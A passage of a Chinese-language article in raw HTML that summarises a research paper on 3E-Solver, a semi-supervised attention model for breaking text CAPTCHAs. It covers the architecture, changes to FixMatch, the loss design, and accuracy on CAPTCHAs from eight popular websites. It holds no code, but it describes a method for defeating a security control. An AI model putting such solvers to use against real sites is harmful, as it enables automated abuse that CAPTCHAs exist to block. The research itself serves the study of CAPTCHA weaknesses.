4;white-space: pre-wrap;visibility: visible;font-size: 12px;box-sizing: border-box !important;overflow-wrap: break-word !important;">图 2 AED-Net模型结构图</span><strong><span style="font-family: 等线;"><o:p></o:p></span></strong></p><p style="margin-bottom: 16px;text-indent: 0em;white-space: normal;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">AED-Net模型分为Encoder和Decoder两部分对图片进行识别。其中，Encoder部分采用ResBlock来提取特征，并使用最大池化层来压缩Feature map的大小。论文中ResBlock残差块将特征图映射为1xWxP的特征向量，W表示图片的宽度，P表示卷积核channels数量，可以有效地提取到验证码图片从左到右的信息。</span><o:p></o:p></p><p style="margin-bottom: 16px;text-indent: 0em;white-space: normal;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">Decoder部分主要由两个GRU构成，attention和prediction，由于特征向量的感受野小于字符的特征区域面积，因此使用GRU模型可以让相邻特征向量交换信息。在解码阶段，一个GRU模块将上一个时间步的输出作为输入，利用特征向量进行训练，构造出key与value向量；另外一个GRU模块接收真实标签值做相应的embedding后构造出query向量，这一步中正是利用了teacher forcing思想，三者进行矩阵乘法与拼接操作，经过全连接层后输出模型预测结果。</span></p><h2 cid="n0" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">对FixMatch的改进与修正</span></h2><p style="margin-bottom: 16px;text-indent: 0em;white-space: normal;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">在传统的FixMatch半监督学习中，通常由模型预测弱增强样本后将具有高置信度的预测结果作为伪标签，然后利用强增强的样本与这些伪标签来训练模型。但这一方法在训练高性能验证码识别器的任务中有两个明显的缺点：</span><o:p></o:p></p><ul class="list-paddingleft-1" style="list-style-type: disc;"><li><p style="margin-bottom: 16px;text-indent: 0em;white-space: normal;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">使用单个模型去预测强增强与弱增强的数据。利用Inception-v3模型进行预训练的任务中发现强增强数据与弱增强数据在模型BN层上的统计值差距过大，因此会间接影响到模型的预测值。</span><span style="letter-spacing: 0.544px;text-indent: 0em;"></span></p></li><li><p style="margin-bottom: 16px;text-indent: 0em;white-space: normal;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">当模型产生高置信度预测时，才会保留伪标签。此时的阈值通常设置为较高水平0.95，这会使得一些具有低置信度的样本被浪费。</span><o:p></o:p></p></li></ul><p style="margin-bottom: 16px;text-indent: 0em;white-space: normal;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">考虑到以上两个缺点，作者对FixMatch框架做出了以下几点改进：</span><o:p></o:p></p><p style="margin-bottom: 16px;text-indent: 0em;white-space: normal;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">1. Teacher forcing</span></strong><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">：利用Teacher forcing技巧进行有监督训练，使模型快速收敛同时可以最大限度地利用有标签数据。</span><o:p></o:p></p><p style="margin-bottom: 16px;text-indent: 0em;white-space: normal;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">2. 自适应BN层</span></strong><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">：教师模型仅在训练阶段预测弱增强图片，因为弱增强样本更接近真实样本，BN层的统计数据更适用于测试验证码。</span><o:p></o:p></p><p style="margin-bottom: 16px;text-indent: 0em;white-space: normal;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">3. 一致性损失</span></strong><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">：对于置信度较低的教师模型的预测，直接使用教师模型的softmax输出与学生模型的softmax输出值进行比较，计算均方损失函数误差。</span></p><h2 cid="n0" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">损失函数设计</span></h2><p style="margin-bottom: 16px;text-indent: 0em;white-space: normal;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="background-color: rgb(255, 255, 255);">论文设计的损失函数一共包含三个部分，第一部分称为监督损失，通过教师模型指导学生模型对已有标签样本进行训练，利用分类交叉熵作为损失函数，学生模型的参数又通过滑动指数平均反馈给教师模型。</span><span style="background-color: rgb(255, 255, 255);">第二部分称为无</span>监督<span style="background-color: rgb(255, 255, 255);">损失，当教师模型对弱增强样本的预测概率高于预先设定的阈值时，则将其看作伪标签并与学生模型对强增强样本的预测值做交叉熵损失计算。</span><span style="background-color: rgb(255, 255, 255);">另外，为了利用到更多难学习的样本特征，如果教师模型的预测概率低于伪标签阈值但高于设定的另外一个阈值时，将其预测值的softmax与学生模型预测值的softmax做均方差损失计算，类似模型蒸馏中小模型去学习大模型预测概率分布的做法。</span></span></p><h2 cid="n0" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">实验过程</span></h2><p style="margin-bottom: 16px;text-indent: 0em;white-space: normal;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="background-color: rgb(255, 255, 255);">实验数据准备</span></span></strong><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="background-color: rgb(255, 255, 255);"></span></span></p><p style="margin-bottom: 16px;text-indent: 0em;white-space: normal;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;">从Alexa.com排名前50个最受欢迎网站中挑选8个网站，收集它们的验证码作为实验数据集。对于每种验证码方案，共收集了约7200张验证码图像，手工标记2200张，其中的700张左右被用来训练模型，剩余1500张图片被用于测试。另外的5000张未标记的数据被用来作为半监督模型的学习样本。</span><o:p></o:p></p><h2 style="margin-bottom: 16px;text-indent: 0em;white-space: normal;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;">对比评估</span></strong><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"></span><o:p></o:p></h2><p style="margin-bottom: 16px;text-indent: 0em;white-space: normal;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;">在经过数据集准备与训练后，模型在测试集上的表现如下图所示：</span><o:p></o:p></p><section style="text-align: center;margin-bottom: 0px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6279620853080569" data-s="300,640" style="" data-type="png" data-w="422" src="https://wechat2rss.xlab.app/img-proxy/?k=b9228057&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplSvTWOqWzn9qt9xz99uZyl4zLCxFbicFG1mB5J1BbyKFibbHdgBz7icjcngNB9HhH8bicrzKibM6DHRj7w%2F640%3Fwx_fmt%3Dpng"/></section><p style="text-align: center;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;visibility: visible;font-size: 12px;box-sizing: border-box !important;overflow-wrap: break-word !important;">图 3 使用500个标记样本和5000个未标记样本对8种网站验证码的识别结果</span><strong><span style="font-family:
等线;mso-ascii-theme-font:minor-fareast;mso-fareast-theme-font:minor-fareast;mso-hansi-theme-font:minor-fareast;"><span lang="EN-US"><o:p></o:p></span></span></strong></p><p style="margin-bottom: 16px;text-indent: 0em;white-space: normal;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;">模型仅对G</span><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;visibility: visible;font-size: 12px;box-sizing: border-box !important;overflow-wrap: break-word !important;">oogle网站</span><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;">这种很复杂验证码的识别效果较低，对其他网站验证码的识别准确率依然保持在很高的水平。</span><o:p></o:p></p><p><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;">另外，作者与当下主流的验证码识别方法进行了对比，为了保证公平性，分别采用[Tang et al., 2018]提供的dataset A，[Ye et al., 2018]提供的dataset B作为实验测试数据集进行测试。最终的对比结果如下图所示：</span><span style="font-size:12.0pt;"><span lang="EN-US"><o:p></o:p></span></span></p><section style="text-align: center;margin-bottom: 0px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5667870036101083" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=cddd89fd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplSvTWOqWzn9qt9xz99uZyl4HBV5ptHKs09WjqeujtUkNSKyQMmwwBRytlWFUhZa8KDPjEQicv7gXSQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="margin-left: 21pt;margin-bottom: 0px;text-align: center;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;visibility: visible;font-size: 12px;box-sizing: border-box !important;overflow-wrap: break-word !important;">图 4 3E-Solver 与三个最新方案在两个数据集上的测试结果</span></section><p style="margin-left: 21pt;text-align: center;margin-bottom: 24px;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;visibility: visible;font-size: 12px;box-sizing: border-box !important;overflow-wrap: break-word !important;">（3E-Solver使用相同数量的打标样本，甚至更少）</span><strong><span style="font-family:等线;mso-ascii-theme-font:minor-fareast;mso-fareast-theme-font:
minor-fareast;mso-hansi-theme-font:minor-fareast;"><span lang="EN-US"><o:p></o:p></span></span></strong></p><p><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;">从上图可以看出，论文提出的3E-Solver方案在其他方案提供的数据集上进行测试后的结果要明显要优于这些方案。由于3E-Solver方案中的attention机制可以通过对输入数据中节点之间的全局依赖关系进行建模来，所以可以学习更多有用的特征，从而改进FixMatch对未标记样本的学习能力。即使对于复杂的Google验证码，3E-Solver在识别准确率方面相对于其他方案有很大的提升。</span></p><h2 cid="n0" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">结论</span></h2><p><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;">本论文提出了一种基于Encoder-Decoder跟Attention机制的模型，结合半监督学习框架FixMatch，提出自适应BN层、Teacher forcing与一致性损失这三个改进方案，利用未标记的样本进一步提高识别能力。最后在Alexa.com中排名前50的流行网站中选择8个网站的验证码数据作为测试集进行评估。实验结果表明，3E-Solver明显优于之前的三种先进识别方案，有助于帮助安全专家重新审视基于文本验证码的设计和可用性。</span></p><h2 cid="n0" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">参考文献</span></h2><p style="white-space: normal;"><span style="background-color: rgb(255, 255, 255);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;">Deng, Xianwen, et al. &#34;3E-Solver: An </span><span style="background-color: rgb(255, 255, 255);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;">Effortless, Easy-to-Update, and End-to-End Solver with Semi-Supervised Learning </span><span style="background-color: rgb(255, 255, 255);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 